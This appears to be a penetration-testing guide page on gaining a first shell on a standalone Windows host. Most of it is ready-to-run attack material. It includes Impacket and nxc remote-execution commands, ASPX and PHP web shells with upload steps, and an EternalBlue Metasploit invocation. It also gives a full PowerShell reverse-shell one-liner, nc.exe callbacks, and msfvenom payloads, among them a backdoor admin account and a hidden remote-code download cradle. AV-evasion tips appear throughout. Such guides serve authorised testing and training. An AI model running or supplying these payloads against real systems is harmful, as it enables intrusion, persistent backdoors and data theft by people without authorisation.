Skip to content

Windows Initial Exploitation

7 min read Created May 6, 2026 Last updated Jun 19, 2026

This page picks up where vulnerability discovery ends. You have confirmed what is exploitable: now you use it to get execution. The techniques here cover getting a first shell on a standalone Windows host without Active Directory context:

  • Default or weak credentials over SMB, WinRM, and RDP

  • PSExec-style execution via SMB (psexec, smbexec, wmiexec)

  • Web shell delivery through file upload or SMB write

  • Unpatched RCE vulnerabilities (EternalBlue, PrintNightmare)

  • Reverse shell payloads for converting command execution into interactive sessions

Default or Weak Credentials to Shell

If credential spraying or credential discovery returned a valid username and password, try them across SMB, WinRM, and RDP before going further. All three can give you immediate command execution.

SMB command execution: quick check to confirm the credentials work and you have remote exec access:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -x whoami

If the output returns a username, the credentials are valid and SMB execution is available. (Pwn3d!) in the output confirms admin-level access.

WinRM shell: if port 5985 or 5986 is open and the account has WinRM access:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD

On Kali, install with gem install evil-winrm or use /usr/bin/evil-winrm if already present. This drops you into an interactive PowerShell session. Useful for file transfers, loading scripts, and running .NET assemblies in-memory.

RDP access: for GUI access when port 3389 is open:

┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /cert:ignore

RDP is loud: it creates logon events and is visible in session logs.

PSExec-Style Execution via SMB

When you have confirmed SMB admin access, the Impacket suite gives you multiple execution primitives. All run from a Linux attacker machine. For local accounts use ./ as the domain prefix or omit it entirely.

psexec: creates a named service on the target, uploads a binary to ADMIN$, and runs it:

┌──(kali㉿kali)-[~]
└─$ impacket-psexec $USER:$PASSWORD@$TARGET_IP

This reliably returns a SYSTEM shell but is the noisiest option. It creates a service entry in the Windows Event Log and writes a binary to disk. AV and EDR commonly catch this.

smbexec: writes temporary batch files to execute commands without uploading a persistent binary:

┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $USER:$PASSWORD@$TARGET_IP

More evasive than psexec. Still creates service events and temporary files, but leaves a smaller footprint.

wmiexec: executes commands over WMI without creating a service or writing executables to disk:

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $USER:$PASSWORD@$TARGET_IP

Stealthiest of the three. Output is captured via a writable share, so no direct connection back to your machine. Prefer this when OPSEC matters.

nxc with exec method selection:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD --local-auth -x "whoami" --exec-method smbexec

Replace smbexec with wmiexec or mmcexec depending on what the target accepts. Drop --local-auth if authenticating against a domain account.

If you only have an NT hash instead of a plaintext password, replace :$PASSWORD with -hashes :$NTHASH for Impacket tools, or -H $NTHASH for nxc.

Web Shell via File Upload or SMB Write

If the target is running IIS or another web server and you have write access to the webroot (either via SMB share access or a writable upload endpoint), placing a web shell gives persistent command execution through HTTP.

Write an ASPX shell via SMB to IIS webroot:

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/C$ -U $USER%$PASSWORD -c "put shell.aspx inetpub\wwwroot\shell.aspx"

Minimal ASPX shell payload to save as shell.aspx:

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% var p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request["cmd"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); %>

Trigger it with:

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.aspx?cmd=whoami"

PHP shell on an Apache or PHP-backed target:

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/wwwroot -U $USER%$PASSWORD -c "put shell.php"

Simple PHP payload:

<?php system($_GET['cmd']); ?>
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.php?cmd=whoami"

If the web server runs as a low-privileged account (IIS AppPool, www-data), follow up with a privilege escalation technique from the Windows platform pages.

MS17-010 (EternalBlue): Unauthenticated RCE

EternalBlue exploits a critical SMB buffer overflow in Windows 7, Windows Server 2008 R2, and unpatched Windows 10 / Server 2016 builds. If the target is confirmed vulnerable, this gives unauthenticated SYSTEM-level code execution over port 445.

Before attempting exploitation, confirm the target is vulnerable. See the EternalBlue vulnerability detection page.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $TARGET_IP; set LHOST $LHOST; set LPORT $LPORT; run"

EternalBlue can crash unstable targets. On production systems, the exploit creates significant noise and should be treated as destructive-risk. In lab environments it is reliable on unpatched Windows 7 and Server 2008 R2.

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

If the Print Spooler service is running and the target is unpatched, PrintNightmare allows unauthenticated or low-privileged users to achieve remote code execution or local privilege escalation via the Windows Print Spooler.

See the dedicated page for full exploitation steps: PrintNightmare: Print Spooler RCE to SYSTEM.

Check if the Print Spooler is running before attempting:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M spooler

Reverse Shell Payloads for Windows

Once you have command execution (via web shell, PSExec output, or a scripted callback), you often want an interactive shell. These payloads turn one-shot execution into a session.

Start a listener on your attack box first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

PowerShell reverse shell: one-liner:

┌──(kali㉿kali)-[~]
└─$ powershell -NoP -NonI -W Hidden -Exec Bypass -Command "& {$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}}"

If the target filters outbound connections on common ports, try port 80 or 443 for $LPORT.

nc.exe drop and execute: useful when you have file write access but PowerShell is restricted:

On Kali: /usr/share/windows-resources/binaries/nc.exe

Serve it over SMB or HTTP, then execute on the target:

C:\Users\Guest\Desktop> \\$LHOST\share\nc.exe $LHOST $LPORT -e cmd.exe

Or after dropping it to disk:

┌──(kali㉿kali)-[~]
└─$ C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd.exe

msfvenom: reverse shell (staged):

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload.exe

Staged payload: requires Metasploit handler. Stageless (no handler needed, works with nc):

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload.exe

msfvenom: bind shell: target listens, attacker connects in (useful when outbound is filtered):

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_bind_tcp LPORT=$LPORT -f exe -o bind.exe

Connect from attacker after execution:

┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP $LPORT

msfvenom: exec payload: wrap a single command in an EXE (add user, run script, etc.):

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD="net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add" -f exe -o adduser.exe

PowerShell download cradle as exec payload:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD="powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')" -f exe -o loader.exe

32-bit targets: replace windows/x64/ with windows/ for x86:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload32.exe

AV catches unsigned executables dropped to disk. If blocked: use the PowerShell in-memory approach, encode with -e x86/shikata_ga_nai, or use a custom loader.